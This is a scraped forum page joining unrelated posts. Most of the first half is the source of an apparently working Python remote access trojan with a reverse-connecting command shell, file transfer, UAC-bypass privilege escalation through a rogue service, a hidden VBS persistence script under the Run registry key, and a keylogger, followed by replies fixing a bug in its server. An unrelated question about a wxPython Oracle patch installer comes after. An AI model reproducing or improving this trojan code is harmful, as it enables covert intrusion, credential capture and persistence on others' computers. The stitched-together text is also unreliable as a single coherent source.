def Downhttp(sock, url):
# get filename from url
filename = url.split('/')[-1].split('#')[0].split('?')[0]
g = open(filename, 'wb')
# download file
u = urllib2.urlopen(url)
g.write(u.read())
g.close()
# let server know we're done...
return "Finished download."
# privilege escalation
def Privs(sock):
# Windows/NT Methods
if os.name == 'nt':
# get initial info
privinfo = '\nUsername: ' + Exec('echo %USERNAME%')
privinfo += Exec('systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"')
winversion = Exec('systeminfo')
windowsnew = -1
windowsold = -1
# newer versions of windows go here
windowsnew += winversion.find('Windows 7')
windowsnew += winversion.find('Windows 8')
windowsnew += winversion.find('Windows Vista')
windowsnew += winversion.find('Windows VistaT')
windowsnew += winversion.find('Windows Server 2008')
# older versions go here (only XP)
windowsold += winversion.find('Windows XP')
windowsold += winversion.find('Server 2003')
# if it is, display privs using whoami command.
if windowsnew > 0:
privinfo += Exec('whoami /priv') + '\n'
# check if user is administrator
admincheck = Exec('net localgroup administrators | find "%USERNAME%"')
# if user is in the administrator group, attempt service priv. esc. using bypassuac
if admincheck != '':
privinfo += 'Administrator privilege detected.\n\n'
# if windows version is vista or greater, bypassUAC :)
if windowsnew > 0:
# prompt for bypassuac location or url
bypassuac = Prompt(sock, privinfo+'Enter location/url for BypassUAC: ')
# attempt to download from url
if bypassuac.startswith("http") == True:
try:
c = Downhttp(sock, bypassuac)
d = os.getcwd() + '\\' + bypassuac.split('/')[-1]
except:
return "Download failed: invalid url.\n"
# attempt to open local file
else:
try:
c = open(bypassuac)
c.close()
d = bypassuac
except:
return "Invalid location for BypassUAC.\n"
# fetch executable's location
curdir = os.path.join(sys.path[0], sys.argv[0])
# add service
if windowsnew > 0: elvpri = Exec(d + ' elevate /c sc create blah binPath= "cmd.exe /c ' + curdir + '" type= own start= auto')
if windowsold > 0: elvpri = Exec('sc create blah binPath= "' + curdir + '" type= own start= auto')
# start service
if windowsnew > 0: elvpri = Exec(d + ' elevate /c sc start blah')
if windowsold > 0: elvpri = Exec('sc start blah')
# finished.
return "\nPrivilege escalation complete.\n"
# windows xp doesnt allow wmic commands by defautlt ;(
if windowsold > 0:
privinfo += 'Unable to escalate privileges.\n'
return privinfo
# attempt to search for weak permissions on applications
privinfo += 'Searching for weak permissions...\n\n'
# array for possible matches
permatch = []
permatch.append("BUILTIN\Users:(I)(F)")
permatch.append("BUILTIN\Users:(F)")
permbool = False
# stage 1 outputs to text file: p1.txt
xv = Exec('for /f "tokens=2 delims=\'=\'" %a in (\'wmic service list full^|find /i "pathname"^|find /i /v "system32"\') do #echo %a >> p1.txt')
# stage 2 outputs to text file: p2.txt
xv = Exec('for /f eol^=^"^ delims^=^" %a in (p1.txt) do cmd.exe /c icacls "%a" >> p2.txt')
# give some time to execute commands,
# 40 sec should do it... ;)
time.sleep(40)
# loop from hell to determine a match to permatch array.
ap = 0
bp = 0
dp = open('p2.txt')
lines = dp.readlines()
for line in lines:
cp = 0
while cp < len(permatch):
j = line.find(permatch[cp])
if j != -1:
# we found a misconfigured directory :)
if permbool == False:
privinfo += 'The following directories have write access:\n\n'
permbool = True
bp = ap
while True:
if len(lines[bp].split('\\')) > 2:
while bp <= ap:
privinfo += lines[bp]
bp += 1
break
else:
bp -= 1
cp += 1
ap += 1
time.sleep(4)
if permbool == True: privinfo += '\nReplace executable with Python shell.\n'
if permbool == False: privinfo += '\nNo directories with misconfigured premissions found.\n'
# close file
dp.close()
# delete stages 1 & 2
xv = Exec('del p1.txt')
xv = Exec('del p2.txt')
return privinfo
# persistence
def Persist(sock, redown=None, newdir=None):
# Windows/NT Methods
if os.name == 'nt':
privscheck = Exec('reg query "HKU\S-1-5-19" | find "error"')
# if user isn't system, return
if privscheck != '':
return "You must be authority\system to enable persistence.\n"
# otherwise procede
else:
# fetch executable's location
exedir = os.path.join(sys.path[0], sys.argv[0])
exeown = exedir.split('\\')[-1]
# get vbscript location
vbsdir = os.getcwd() + '\\' + 'vbscript.vbs'
# write VBS script
if redown == None: vbscript = 'state = 1\nhidden = 0\nwshname = "' + exedir + '"\nvbsname = "' + vbsdir + '"\nWhile state = 1\nexist = ReportFileStatus(wshname)\nIf exist = True then\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(wshname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(vbsname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nSet WshShell = WScript.CreateObject ("WScript.Shell")\nSet colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from Win32_Process")\nFor Each objProcess in colProcessList\nif objProcess.name = "' + exeown + '" then\nvFound = True\nEnd if\nNext\nIf vFound = True then\nwscript.sleep 50000\nElse\nWshShell.Run """' + exedir + '""",hidden\nwscript.sleep 50000\nEnd If\nvFound = False\nElse\nwscript.sleep 50000\nEnd If\nWend\nFunction ReportFileStatus(filespec)\nDim fso, msg\nSet fso = CreateObject("Scripting.FileSystemObject")\nIf (fso.FileExists(filespec)) Then\nmsg = True\nElse\nmsg = False\nEnd If\nReportFileStatus = msg\nEnd Function\n'
else:
if newdir == None:
newdir = exedir
newexe = exeown
else:
newexe = newdir.split('\\')[-1]
vbscript = 'state = 1\nhidden = 0\nwshname = "' + exedir + '"\nvbsname = "' + vbsdir + '"\nurlname = "' + redown + '"\ndirname = "' + newdir + '"\nWhile state = 1\nexist1 = ReportFileStatus(wshname)\nexist2 = ReportFileStatus(dirname)\nIf exist1 = False And exist2 = False then\ndownload urlname, dirname\nEnd If\nIf exist1 = True Or exist2 = True then\nif exist1 = True then\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(wshname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nexist2 = False\nend if\nif exist2 = True then\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(dirname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nend if\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(vbsname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nSet WshShell = WScript.CreateObject ("WScript.Shell")\nSet colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from Win32_Process")\nFor Each objProcess in colProcessList\nif objProcess.name = "' + exeown + '" OR objProcess.name = "' + newexe + '" then\nvFound = True\nEnd if\nNext\nIf vFound = True then\nwscript.sleep 50000\nEnd If\nIf vFound = False then\nIf exist1 = True then\nWshShell.Run """' + exedir + '""",hidden\nEnd If\nIf exist2 = True then\nWshShell.Run """' + dirname + '""",hidden\nEnd If\nwscript.sleep 50000\nEnd If\nvFound = False\nEnd If\nWend\nFunction ReportFileStatus(filespec)\nDim fso, msg\nSet fso = CreateObject("Scripting.FileSystemObject")\nIf (fso.FileExists(filespec)) Then\nmsg = True\nElse\nmsg = False\nEnd If\nReportFileStatus = msg\nEnd Function\nfunction download(sFileURL, sLocation)\nSet objXMLHTTP = CreateObject("MSXML2.XMLHTTP")\nobjXMLHTTP.open "GET", sFileURL, false\nobjXMLHTTP.send()\ndo until objXMLHTTP.Status = 200 : wscript.sleep(1000) : loop\nIf objXMLHTTP.Status = 200 Then\nSet objADOStream = CreateObject("ADODB.Stream")\nobjADOStream.Open\nobjADOStream.Type = 1\nobjADOStream.Write objXMLHTTP.ResponseBody\nobjADOStream.Position = 0\nSet objFSO = Createobject("Scripting.FileSystemObject")\nIf objFSO.Fileexists(sLocation) Then objFSO.DeleteFile sLocation\nSet objFSO = Nothing\nobjADOStream.SaveToFile sLocation\nobjADOStream.Close\nSet objADOStream = Nothing\nEnd if\nSet objXMLHTTP = Nothing\nEnd function\n'
# open file & write
vbs = open('vbscript.vbs', 'wb')
vbs.write(vbscript)
vbs.close()
# add registry to startup
persist = Exec('reg ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v blah /t REG_SZ /d "' + vbsdir + '"')
persist += '\nPersistence complete.\n'
return persist
# execute command
def Exec(cmde):
# check if command exists
if cmde:
execproc = subprocess.Popen(cmde, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
cmdoutput = execproc.stdout.read() + execproc.stderr.read()
return cmdoutput
# otherwise, return
else:
return "Enter a command.\n"
# keylogging function
# version 1, by K.B. Carte
##########################
# enter log filename.
LOG_STATE = True
LOG_FILENAME = 'keylog.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=LOG_FILENAME,
level=logging.DEBUG,
format='%(message)s')
logging.log(10,chr(event.Ascii))
return True
# main loop
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
# create a cipher object using the random secret
cipher = AES.new(secret,AES.MODE_CFB, iv)
# waiting to be activated...
data = Receive(s)
# activate.
if data == 'Activate':
active = True
Send(s, "\n"+os.getcwd()+">")
# interactive loop
while active:
# Receive data
data = Receive(s)
# think before you type smartass
if data == '':
time.sleep(0.02)
# check for quit
if data == "quit" or data == "terminate":
Send(s, "quitted")
break
# check for change directory
elif data.startswith("cd ") == True:
try:
os.chdir(data[3:])
stdoutput = ""
except:
stdoutput = "Error opening directory.\n"
# check for download
elif data.startswith("download") == True:
# Upload the file
stdoutput = Upload(s, data[9:])
elif data.startswith("downhttp") == True:
# Download from url
stdoutput = Downhttp(s, data[9:])
# check for upload
elif data.startswith("upload") == True:
# Download the file
stdoutput = Download(s, data[7:])
elif data.startswith("privs") == True:
# Attempt to elevate privs
stdoutput = Privs(s)
elif data.startswith("persist") == True:
# Attempt persistence
if len(data.split(' ')) == 1: stdoutput = Persist(s)
elif len(data.split(' ')) == 2: stdoutput = Persist(s, data.split(' ')[1])
elif len(data.split(' ')) == 3: stdoutput = Persist(s, data.split(' ')[1], data.split(' ')[2])
elif data.startswith("keylog") == True:
# Begin keylogging
if LOG_STATE == False:
try:
# set to True
LOG_STATE = True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
stdoutput = "Logging keystrokes to: "+LOG_FILENAME+"...\n"
except:
ctypes.windll.user32.PostQuitMessage(0)
# set to False
LOG_STATE = False
stdoutput = "Keystrokes have been logged to: "+LOG_FILENAME+".\n"
else:
# execute command.
stdoutput = Exec(data)
# send data
stdoutput = stdoutput+"\n"+os.getcwd()+">"
Send(s, stdoutput)
# loop ends here
if data == "terminate":
break
time.sleep(3)
except socket.error:
s.close()
time.sleep(10)
continue
I would appreciate any pointers.
In xmulti_aeserver.py just above:
# main loop
while True:
.....
write nextcmd = ''. So it will be:
nextcmd = ''
# main loop
while True:
.....
This will define the nextcmd.
Add to this IF statment:
elif data != '':
# get next command
sys.stdout.write(data)
nextcmd = raw_input()
elif data == '':
nextcmd = raw_input()
else:
nextcmd = raw_input()
You only define nextcmd in one branch of an if-else statement:
elif data != '':
# get next command
sys.stdout.write(data)
nextcmd = raw_input()
but then assume that it is defined on line 207. You are missing the case where data is the empty string, which prevents nextcmd from being defined when you try to access it.
It looks like you have
if data == 'quitted':
....
elif data != '':
....
nextcmd = raw_input()
But if data=='', nextcmd is not set to anything, which causes the error when you try and use it.
I have written an app that runs fine on my XP dev platform. When I compile it with py2exe and move it to other XP platforms without python etc installed it also works fine. When I move it to a 2003 server platform it fails to display the main frame, but will display the wx.messagebox popups.
On the same 2003 platform, I install python 2.7, wx 2.8, ObjectListView to mimic my development environment, but I have the same result. The wx.messagebox popups display, but the main frame does not.
I ran the compiled exe version through dependency walker and it highlighted the fact that the 2003 platform was missing a msjava.dll. I then recompiled and inlcuded it in the py2exe setup. But this did not change anything.
Any help is much appreciated.
Code Sample
import wx
import random
import datetime
import sys
import getpass
import os
import socket
import subprocess
import platform
from _winreg import *
import zipfile
import bisect
from threading import Thread
import fileinput
import subprocess
from subprocess import call
######################
# Thread functions
#####################
class unzipThread(Thread):
def __init__(self, fileName, destination):
self.fileName = fileName
self.destination = destination
super(unzipThread, self).__init__()
def run(self):
print "unzipThread", self.fileName, self.destination
zip = zipfile.ZipFile(self.fileName)
zip.extractall(self.destination)
zip.close()
###########################################
def create(parent):
return Frame1(parent)
[wxID_FRAME1, wxID_FRAME1BTBEGININSTALL, wxID_FRAME1BTVALIDATEALL,
wxID_FRAME1BTVALIDATEIAS_ADMIN, wxID_FRAME1BTVALIDATEINFRASYSTEM,
wxID_FRAME1BTVALIDATEIWPCADMIN, wxID_FRAME1BTVALIDATEIWPCIWPCDBA,
wxID_FRAME1BTVALIDATEIWPCSYSTEM, wxID_FRAME1BTVALIDATELDAPOC4JADMIN,
wxID_FRAME1BTVALIDATELDAPORCLADMIN, wxID_FRAME1CBINSTALLPATCH3,
wxID_FRAME1CBINSTALLPATCH4, wxID_FRAME1CBINSTALLPATCH5,
wxID_FRAME1CBINSTALLSSP, wxID_FRAME1LISTCTRL1, wxID_FRAME1PANEL1,
wxID_FRAME1STACCOUNTSETTINGS, wxID_FRAME1STIAS_ADMIN,
wxID_FRAME1STINFRASYSTEM, wxID_FRAME1STINSTALLACTIONS,
wxID_FRAME1STIWPCADMIN, wxID_FRAME1STIWPCIWPCDBA, wxID_FRAME1STIWPCSYSTEM,
wxID_FRAME1STLDAPOC4JADMIN, wxID_FRAME1STLDAPORCLADMIN, wxID_FRAME1STSTATUS,
wxID_FRAME1TXIAS_ADMIN, wxID_FRAME1TXINFRASYSTEM, wxID_FRAME1TXIWPCADMIN,
wxID_FRAME1TXIWPCIWPCDBA, wxID_FRAME1TXIWPCSYSTEM,
wxID_FRAME1TXLDAPOC4JADMIN, wxID_FRAME1TXLDAPORCLADMIN,
] = [wx.NewId() for _init_ctrls in range(33)]
class Frame1(wx.Frame):
listSSP=[]
sspStartPoint=""
passwordsTestList = {"infra.system":False, "iwpc.system":False, "iwpc.iwpcdba":False, "ldap.oc4jadmin":False, "ldap.orcladmin":False, "ias_admin":False, "iwpcadmin":False}
passwordsValidList = {"infra.system":"", "iwpc.system":"", "iwpc.iwpcdba":"", "ldap.oc4jadmin":"", "ldap.orcladmin":"", "ias_admin":"", "iwpcadmin":""}
def _init_coll_listCtrl1_Columns(self, parent):
# generated method, don't edit
parent.InsertColumn(col=0, format=wx.LIST_FORMAT_LEFT,
heading=u'Timestamp', width=200)
parent.InsertColumn(col=1, format=wx.LIST_FORMAT_LEFT,
heading=u'Action', width=200)
parent.InsertColumn(col=2, format=wx.LIST_FORMAT_LEFT,
heading=u'Result', width=400)
def _init_ctrls(self, prnt):
# generated method, don't edit
wx.Frame.__init__(self, id=wxID_FRAME1, name='', parent=prnt,
pos=wx.Point(1932, 17), size=wx.Size(849, 748),
style=wx.DEFAULT_FRAME_STYLE,
title=u'IWPC Patch and SSP Installer')
self.SetClientSize(wx.Size(841, 714))
self.panel1 = wx.Panel(id=wxID_FRAME1PANEL1, name='panel1', parent=self,
pos=wx.Point(0, 0), size=wx.Size(841, 714),
style=wx.TAB_TRAVERSAL)
self.listCtrl1 = wx.ListCtrl(id=wxID_FRAME1LISTCTRL1, name='listCtrl1',
parent=self.panel1, pos=wx.Point(15, 24), size=wx.Size(808, 419),
style=wx.LC_REPORT)
self._init_coll_listCtrl1_Columns(self.listCtrl1)
--- snip to get post length under max chars...---
def __init__(self, parent):
self._init_ctrls(parent)
def updateList(self, action, result):
self.listCtrl1.Append([datetime.datetime.now(),action,result])
self.listCtrl1.EnsureVisible(self.listCtrl1.GetItemCount() -1)
self.Update()
def allPasswordsValid(self):
#if all passwords are true then enable the button
for k, v in self.passwordsTestList.items():
print " %s=%s" % (k,v)
if v == False:
print " NOT ENABLED"
return()
print " ENABLE IT"
self.btBeginInstall.Enable()
self.btValidateAll.Disable()
def checkPassword(self, password):
#randomize password results
bResult = random.choice([True,False])
return bResult
def passwordChecker(self, sAccount, sTxName, sBtName):
print "check " + sAccount
self.btBeginInstall.Disable()
if self.passwordsTestList[sAccount] == False:
#Get password from value
sPassword = sTxName.Value
#TODO: Make diff tests for each password type
bResult = self.checkPassword(sPassword)
#update test list with current result
self.passwordsTestList[sAccount] = bResult
#Do results from test
if bResult == True:
self.passwordsValidList[sAccount] = sPassword
sTxName.SetBackgroundColour('Green')
self.updateList("Validate " + sAccount,"Passed")
sBtName.Disable()
else:
sTxName.SetBackgroundColour('Red')
self.updateList("Validate " + sAccount,"Failed")
else:
#reset the displayed password back to the previously validated state
self.updateList(sAccount + " is already valid","Display value reset to " + self.passwordsValidList[sAccount])
sTxName.SetValue(self.passwordsValidList[sAccount])
#run test to see if all are valid
self.allPasswordsValid()
def OnBtValidateInfraSystemButton(self, event):
print "button InfraSystem"
self.passwordChecker("infra.system",self.txInfraSystem,self.btValidateInfraSystem)
self.Refresh()
def OnBtValidateIwpcSystemButton(self, event):
print "button IwpcSystem"
self.passwordChecker("iwpc.system",self.txIwpcSystem,self.btValidateIwpcSystem)
self.Refresh()
def OnBtValidateIwpcIwpcdbaButton(self, event):
print "button IwpcIwpcdba"
self.passwordChecker("iwpc.iwpcdba",self.txIwpcIwpcdba,self.btValidateIwpcIwpcdba)
self.Refresh()
def OnBtValidateLdapOc4jadminButton(self, event):
print "button LdapOc4jadmin"
self.passwordChecker("ldap.oc4jadmin",self.txLdapOc4jadmin,self.btValidateLdapOc4jadmin)
self.Refresh()
def OnBtValidateLdapOrcladminButton(self, event):
print "button LdapOrcladmin"
self.passwordChecker("ldap.orcladmin",self.txLdapOrcladmin,self.btValidateLdapOrcladmin)
self.Refresh()
def OnBtValidateIas_adminButton(self, event):
print "button Ias_admin"
self.passwordChecker("ias_admin",self.txIas_admin,self.btValidateIas_admin)
self.Refresh()
def OnBtValidateiwpcadminButton(self, event):
print "button iwpcadmin"
self.passwordChecker("iwpcadmin",self.txIwpcadmin,self.btValidateiwpcadmin)
self.Refresh()
def OnBtValidateAllButton(self, event):
print "button Validate All"
self.passwordChecker("infra.system",self.txInfraSystem,self.btValidateInfraSystem)
self.passwordChecker("iwpc.system",self.txIwpcSystem,self.btValidateIwpcSystem)
self.passwordChecker("iwpc.iwpcdba",self.txIwpcIwpcdba,self.btValidateIwpcIwpcdba)
self.passwordChecker("ldap.oc4jadmin",self.txLdapOc4jadmin,self.btValidateLdapOc4jadmin)
self.passwordChecker("ldap.orcladmin",self.txLdapOrcladmin,self.btValidateLdapOrcladmin)
self.passwordChecker("ias_admin",self.txIas_admin,self.btValidateIas_admin)
self.passwordChecker("iwpcadmin",self.txIwpcadmin,self.btValidateiwpcadmin)
self.Refresh()
def writeData(self):
fileName = 'd:\ssptemp\OracleData.txt'
FILE = open(fileName,"w")
for key, value in self.passwordsValidList.items():
writeLine = key + ': ' + value + '\n'
FILE.write(writeLine)
FILE.close()
self.updateList("Account data stored","Complete")
def find_fwd_iter(self, S, i):
#Allows iteration of a list from a specific match of value in the list
j = bisect.bisect_left(S, i)
for k in xrange(j, len(S)):
yield S[k]
def copySSPTemp(self):
#Unzip sourc\ssp X-Y\ssptemp.zip to d:\ssptemp\ssp X-Y
#put start point into [X,y] form
sYr, sQtr = self.sspStartPoint.split('-')
iYr = int(sYr)
iQtr = int(sQtr)
sspStart =[iYr,iQtr]
for yr, qtr in self.find_fwd_iter(self.listSSP,sspStart):
dirName = 'ssp ' + str(yr) + '-' + str(qtr)
sspDest = os.path.join('d:\ssptemp',dirName)
currentDir = os.getcwd()
sspTempPath = os.path.join(currentDir,dirName,'ssptemp.zip')
installPath = os.path.join(currentDir,dirName,'install.zip')
#create destination dir if needed d:\ssptemp\ssp yr-qtr
if os.path.isdir(sspDest) == False:
os.mkdir(sspDest)
if os.path.isdir('d:\install') == False:
os.mkdir('d:\install')
#Unzip ssptemp to dest
print "UNZIP"
self.updateList("Unzip " + dirName + " ssptemp.zip", "Begining unzip. Process may take several minutes")
t1 = unzipThread(sspTempPath,sspDest)
t1.start()
t1.join()
#Unzip install.zip to d:\install
self.updateList("Unzip " + dirName + " install.zip", "Begining unzip. Process may take several minutes")
t2 = unzipThread(installPath,'d:\install')
t2.start()
t2.join()
self.updateList("Unzip SSP control files","Complete")
self.updateList("Unzip SSP install files","Complete")
def createChain(self):
####### TODO - DON'T DO CHAIN IF LIST SIZE IS ONLY 1 #########
#Iterate through all d:\ssptemp\sspX-Y dirs add all iwpcpatch files to list
listOfFiles = []
for path, dirs, files in os.walk('d:\ssptemp'):
for file in files:
newFile = os.path.join(path,file)
if newFile.find('IWPCPatch') >= 0:
for line in fileinput.FileInput(newFile):
if "IWPCPatchFinal_a.wsf" in line:
print "Added", newFile
listOfFiles.append(newFile)
#Iterate through list looking for "D:\ssptemp\<currentFilesDir>\IWPCPATCHFinal_a.wsf
idx = 1
for item in listOfFiles[0:len(listOfFiles)-1]:
currentPath, currentFile = os.path.split(item)
currentPath = os.path.join(currentPath,"IWPCPatchFinal_a.wsf")
nextPath, nextFile = os.path.split(listOfFiles[idx])
nextPath = os.path.join(nextPath,'IWPCPatch.wsf')
print currentPath, nextPath
for line in fileinput.FileInput(item,inplace=1):
if currentPath in line:
line = line.replace(currentPath,nextPath)
sys.stdout.write(line)
idx += 1
self.updateList("Edit " + currentPath,"Complete")
self.updateList("Create install chain","Complete")
# TODO: Null the GW to prevent Oracle from attempting to dial home
def nullGateWay(self):
self.updateList("Gateway set to null","PLACEHOLDER: Complete")
def enableWFS(self):
key = OpenKey(HKEY_LOCAL_MACHINE,
r'Software\Microsoft\Windows Script Host\Settings',
0,
KEY_ALL_ACCESS)
try:
SetValueEx(key, "Enabled", 0, REG_DWORD, 1)
self.updateList(".WFS Scripts enable","Complete")
except:
self.updateList(".WFS Scripts enable","ERROR: Key not present")
self.markWarning()
CloseKey(key)
def disableJedi(self):
key = OpenKey(HKEY_LOCAL_MACHINE,
r'Software\Microsoft\Windows NT\CurrentVersion\Winlogon',
0,
KEY_ALL_ACCESS)
try:
SetValueEx(key, "GinaDLL", 0, REG_SZ, "msgina.dll")
self.updateList("Jedi Disabled","Complete")
except:
self.updateList("Jedi Disabled","ERROR: Key not present")
self.markWarning()
CloseKey(key)
def enableVBS(self):
key = OpenKey(HKEY_CURRENT_USER,
r'Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.VBS',
0,
KEY_ALL_ACCESS)
try:
DeleteValue(key, "Application")
self.updateList("Remove VBS to Notepad mapping","Complete")
except:
self.updateList("Remove VBS to Notepad mapping","ERROR: Key not present")
self.markWarning()
CloseKey(key)
def runInstall(self):
print "-- runInstall --"
#Run
print self.sspStartPoint
firstRun = "d:\ssptemp\ssp " + str(self.sspStartPoint)
firstRun = os.path.join(firstRun,"IWPCPatch.wsf")
retcode = subprocess.call(["wscript.exe", "d:\ssptemp\ssp 9-2\IWPCPatch.wsf"])
def OnBtBeginInstallButton(self, event):
#Disable to prevent multi-clicks
self.btBeginInstall.Disable
# TODO: Enable button only if all passwords are valid
self.writeData()
self.copySSPTemp()
self.createChain()
#self.nullGateWay()
self.enableWFS()
self.disableJedi()
self.enableVBS()
self.runInstall()
self.updateList("Begin Install","Complete")
self.Refresh()
def validateCurrentUser(self):
sCurrentUser = getpass.getuser()
print sCurrentUser
if (sCurrentUser == 'Chris.White'):
print "iwpcadmin verified"
self.updateList('Validate user as Chris.White', 'user validated as Chris.White')
return True
else:
print "Error: Current user is " + sCurrentUser + " not iwpcadmin"
strError = "ERROR: Current user is not iwpcadmin. Please logoff and logon as iwpcadmin"
self.updateList('Validate user as iwpcadmin',strError)
self.markError()
return False
def createDir(self, sDir):
if os.path.isdir(sDir):
self.updateList('Check for ' + sDir,'exists')
return True
else:
self.updateList('Check for ' + sDir,'does not exist')
os.mkdir(sDir)
if os.path.isdir(sDir):
self.updateList('Created ' + sDir, 'success')
return True
else:
self.updateList('Created ' + sDir, 'FAILED')
self.markError()
return False
def markError(self):
idx = self.listCtrl1.GetItemCount()
idx -= 1
self.listCtrl1.SetItemBackgroundColour(idx,"red")
self.listCtrl1.SetItemTextColour(idx,"white")
def markWarning(self):
idx = self.listCtrl1.GetItemCount()
idx -= 1
self.listCtrl1.SetItemBackgroundColour(idx,"yellow")
def getServerID(self):
sHostname = platform.uname()[1]
self.updateList('Get Hostname', sHostname)
sIP = socket.gethostbyaddr(socket.gethostname())[-1][0]
self.updateList('Get IP', sIP)
fileName = "d:\ssptemp\PCinfo.txt"
FILE = open(fileName,"w")
writeline = "Hostaname: " + sHostname + '\n'
FILE.write(writeline)
writeline = "IP: " + sIP + '\n'
FILE.write(writeline)
FILE.close()
if os.path.isfile(fileName):
return True
else:
return False
#TODO Get Netmask and GW
def getCurrentSSP(self):
try:
key = OpenKey(HKEY_LOCAL_MACHINE, r'SOFTWARE\IWPC')
SSPYr = QueryValueEx(key, "SSPYr")[0]
SSPQtr = QueryValueEx(key, "SSPQtr")[0]
CloseKey(key)
except WindowsError:
print "no value in reg"
self.updateList('Check Registry for current SSP Level',
'Registry key SSPYr does not exist - Checking Folder Structure')
if os.path.isdir('D:\OracleAppSvr\10.1.3\.patch_storage\9173042'):
SSPYr = '10'
SSPQtr = '02'
elif os.path.isdir('D:\OracleAppSvr\10.1.3\.patch_storage\9173036'):
SSPYr = '10'
SSPQtr = '01'
elif os.path.isdir('D:\OracleAppSvr\10.1.3\.patch_storage\8874212'):
SSPYr = '09'
SSPQtr = '04'
elif os.path.isdir('D:\OracleAppSvr\10.1.3\.patch_storage\8537043'):
SSPYr = '09'
SSPQtr = '03'
elif os.path.isdir('D:\OracleAppSvr\10.1.3\.patch_storage\8300356'):
SSPYr = '09'
SSPQtr = '02'
elif os.path.isdir('D:\OracleAppSvr\10.1.3\.patch_storage\7608333'):
SSPYr = '09'
SSPQtr = '01'
elif os.path.isdir('D:\OracleAppSvr\10.1.3\.patch_storage\7135490'):
SSPYr = '09'
SSPQtr = '01'
else:
SSPYr = '99'
SSPQtr = '99'
keyValue = r'SOFTWARE\IWPC'
key = CreateKey(HKEY_LOCAL_MACHINE, keyValue)
SetValueEx(key, "SSPYr", 0, REG_DWORD, int(SSPYr))
SetValueEx(key, "SSPQtr", 0, REG_DWORD, int(SSPQtr))
self.updateList("SSP Value set in registry","Complete")
CloseKey(key)
sCurrentSSP = str(SSPYr) + "-" + str(SSPQtr)
self.updateList('Check Registry for current SSP Level',
'Current SSP is ' + sCurrentSSP)
#TODO Write Reg Value
return sCurrentSSP
def getNextSSP(self, currentSSP):
sCurrentYr, sCurrentQtr = currentSSP.split('-')
if int(sCurrentQtr) == 4:
iNextYr = int(sCurrentYr)+1
iNextQtr = 1
else:
iNextYr = int(sCurrentYr)
iNextQtr = int(sCurrentQtr)+1
sNextSSP = str(iNextYr) + "-" + str(iNextQtr)
self.updateList('Set next SSP Level',
'Next SSP is ' + sNextSSP)
return sNextSSP
def getListSSP(self):
#Get current dir
currentDir = os.getcwd()
#List dirs in current
dirContents = os.listdir(currentDir)
for item in dirContents:
if os.path.isdir(item):
if (item.find('ssp') >= 0):
sSSP = item.lstrip('ssp ')
sYr, sQtr = sSSP.split('-')
iYr = int(sYr)
iQtr = int(sQtr)
self.listSSP.append([iYr,iQtr])
#Put list in yr,qtr order
self.listSSP.sort()
#Display resutls to user
for yr,qtr in self.listSSP:
sSSP = str(yr) + '-' + str(qtr)
self.updateList('Check media for SSPs', sSSP + " is present")
def getSSPStart(self, sNextSSP):
#split next to yr,qtr
print sNextSSP
#Make nextssp to int
sNextYr, sNextQtr = sNextSSP.split('-')
iNextYr = int(sNextYr)
iNextQtr = int(sNextQtr)
for yr,qtr in self.listSSP:
if ([yr,qtr] == [iNextYr,iNextQtr]):
sspStart = str(yr) + '-' + str(qtr)
self.updateList('Set SSP Start', sspStart + ' set as start')
self.sspStartPoint = sspStart
return sspStart
self.updateList('Set SSP Start', 'ERROR: No valid SSP start point found')
self.markError()
return False
def validateSSPMedia(self):
#Get Current SSP Level
sCurrentSSP = self.getCurrentSSP()
print "CURRENT SSP", sCurrentSSP
#Get Next SSP
sNextSSP = self.getNextSSP(sCurrentSSP)
print "NEXT SSP", sNextSSP
#Compile list of SSPs on media
self.getListSSP()
print "LIST SSP", self.listSSP
#define start point
sspStart = self.getSSPStart(sNextSSP)
if sspStart == False:
return False
else:
return True
if __name__ == '__main__':
app = wx.PySimpleApp()
frame = create(None)
frame.Show()
#disable the buttons
frame.btBeginInstall.Disable()
frame.btValidateInfraSystem.Disable()
frame.btValidateIwpcSystem.Disable()
frame.btValidateIwpcSystem.Disable()
frame.btValidateIwpcIwpcdba.Disable()
frame.btValidateLdapOc4jadmin.Disable()
frame.btValidateLdapOrcladmin.Disable()
frame.btValidateIas_admin.Disable()
frame.btValidateiwpcadmin.Disable()
frame.btValidateAll.Disable()
# 1) Prompt with backup warning message - offer to exit
sMessage = """ WARNING: You should always have a valid, tested backup prepared
prior to performing any type of upgrade in case of failure.
Only press YES to continue if you are confident that you will be
able to recover in case of failure"""
successWarning = wx.MessageBox(sMessage, "WARNING", wx.YES_NO)
if (successWarning == wx.YES):
print "User selected Yes to warning"
else:
print "User selected No or cancled"
sys.exit()
# 2) Validate current user = iwpcadmin
successIwpcadmin = frame.validateCurrentUser()
print "iwpcadmin ", successIwpcadmin
# 3) Compile starting variables
successTempDir = frame.createDir('d:\ssptemp')
print "TempDir ", successTempDir
successLogDir = frame.createDir('d:\ssplogs')
print "LogDir ", successLogDir
# 4) Write PC data to PCinfo.txt
successServerID = frame.getServerID()
print "ServerID", successServerID
# 5) Read available from media
successValidateMedia = frame.validateSSPMedia()
print "ValidateMedia", successValidateMedia
testPreReq = [successIwpcadmin,
successTempDir,
successServerID,
successValidateMedia]
